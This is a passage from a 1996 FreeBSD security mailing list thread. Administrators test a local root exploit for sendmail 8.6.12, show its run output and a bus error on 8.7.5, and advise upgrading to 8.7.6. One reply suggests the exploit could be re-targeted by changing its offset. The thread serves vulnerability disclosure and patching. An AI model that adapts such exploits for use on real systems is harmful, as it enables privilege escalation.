following for FreeBSD2.1.0R while running NIS, > i will try on a non-NIS machine tomorrow, but i think it might be > of interest anyway :) > > : /* Hi ! */ > : /* This is exploit for sendmail bug (version 8.6.12 for FreeBSD 2.1.0). */ > : /* If you have any problems with it, send letter to me. */ > : /* Have fun ! */ This exploit may be limited to 8.6.x... a 2.1.0-RELEASE system upgraded to 8.7.5 does not appear to be vulnerable. % ./a.out chfn: rebuilding the database... chfn: done Bus error See result in /tmp % ls -l /tmp total 18 -rwxr-xr-x 1 taob nogroup 8828 Sep 28 01:24 a.out -rwxr-xr-x 1 taob nogroup 43 Sep 28 01:24 hack -rw-r--r-- 1 taob staff 2686 Sep 28 01:23 sroot.c -rw-r--r-- 1 taob nogroup 383 Sep 28 01:24 user.inf % uname -v FreeBSD 2.1.0-RELEASE #0: Thu May 2 18:53:14 EDT 1996 taob@cabal.net5a.io.org:/src/2.1.0-RELEASE/sys/compile/MAIL % telnet localhost smtp Trying 127.0.0.1... Connected to localhost.io.org. Escape character is '^]'. 220 post.io.org ESMTP Sendmail 8.7.5/8.7.3; Sat, 28 Sep 1996 01:27:20 -0400 (EDT) -- Brian Tao (BT300, taob@io.org, taob@ican.net) Senior Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-security Fri Sep 27 23:44:03 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA28164 for security-outgoing; Fri, 27 Sep 1996 23:44:03 -0700 (PDT) Received: from critter.tfs.com ([140.145.230.177]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA28112; Fri, 27 Sep 1996 23:43:54 -0700 (PDT) Received: from critter.tfs.com (localhost.tfs.com [127.0.0.1]) by critter.tfs.com (8.7.5/8.7.3) with ESMTP id IAA05129; Sat, 28 Sep 1996 08:43:13 +0200 (MET DST) To: Julian Elischer cc: security@freebsd.org Subject: Re: Contract to analyse FBSD systems In-reply-to: Your message of "Fri, 27 Sep 1996 13:12:36 PDT." <324C3534.4DAA423A@whistle.com> Date: Sat, 28 Sep 1996 08:43:13 +0200 Message-ID: <5127.843892993@critter.tfs.com> From: Poul-Henning Kamp Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <324C3534.4DAA423A@whistle.com>, Julian Elischer writes: >We are looking for someone to do a security analysis >of a FreeBSD based system. >(see http://www.whistle.com ) > >anyone interested... >let me know.. >Generic FreeBSD problems found can be fed back (with patches) >to freeBSD.. considered it payed freeBSD work. > >(In SF-Bay area prefered) Telecommuting from Denmark not possible ? -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@ref.tfs.com TRW Financial Systems, Inc. Future will arrive by its own means, progress not so. From owner-freebsd-security Sat Sep 28 00:33:03 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA29895 for security-outgoing; Sat, 28 Sep 1996 00:33:03 -0700 (PDT) Received: from mailhub.aros.net (mailhub.aros.net [205.164.111.17]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id AAA29858 for ; Sat, 28 Sep 1996 00:33:01 -0700 (PDT) Received: from fluffy.aros.net (fluffy.aros.net [205.164.111.2]) by mailhub.aros.net (8.7.6/Unknown) with ESMTP id BAA10797; Sat, 28 Sep 1996 01:32:59 -0600 (MDT) Received: from fluffy.aros.net (localhost [127.0.0.1]) by fluffy.aros.net (8.7.6/8.6.12) with ESMTP id BAA13246; Sat, 28 Sep 1996 01:32:57 -0600 (MDT) Message-Id: <199609280732.BAA13246@fluffy.aros.net> To: Brian Tao cc: security@freebsd.org Subject: Re: Exploit for sendmail security hole (version 8.6.12 for FreeBSD In-reply-to: Your message of "Sat, 28 Sep 1996 01:33:07 EDT." Date: Sat, 28 Sep 1996 01:32:57 -0600 From: Dave Andersen Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk The exploit is limited to 8.6.x in its present incarnation, but the bug is most definitely not - the bus error you generated is a fairly good indicator of that. Most likely, the exploit could be tuned to hit 8.7.5 by changing the offset it uses. I haven't played around with it enough to really tell. In any event, upgrading to 8.7.6 is A Good Thing - the latest -current and -stable distributions are already upgraded (and have been since 2 days after the bug was publicized). -Dave > This exploit may be limited to 8.6.x... a 2.1.0-RELEASE system > upgraded to 8.7.5 does not appear to be vulnerable. > > % ./a.out > chfn: rebuilding the database... > chfn: done > Bus error > See result in /tmp > > % ls -l /tmp > total 18 > -rwxr-xr-x 1 taob nogroup 8828 Sep 28 01:24 a.out > -rwxr-xr-x 1 taob nogroup 43 Sep 28 01:24 hack > -rw-r--r-- 1 taob staff 2686 Sep 28 01:23 sroot.c > -rw-r--r-- 1 taob nogroup 383 Sep 28 01:24 user.inf > > % uname -v > FreeBSD 2.1.0-RELEASE #0: Thu May 2 18:53:14 EDT 1996 > taob@cabal.net5a.io.org:/src/2.1.0-RELEASE/sys/compile/MAIL >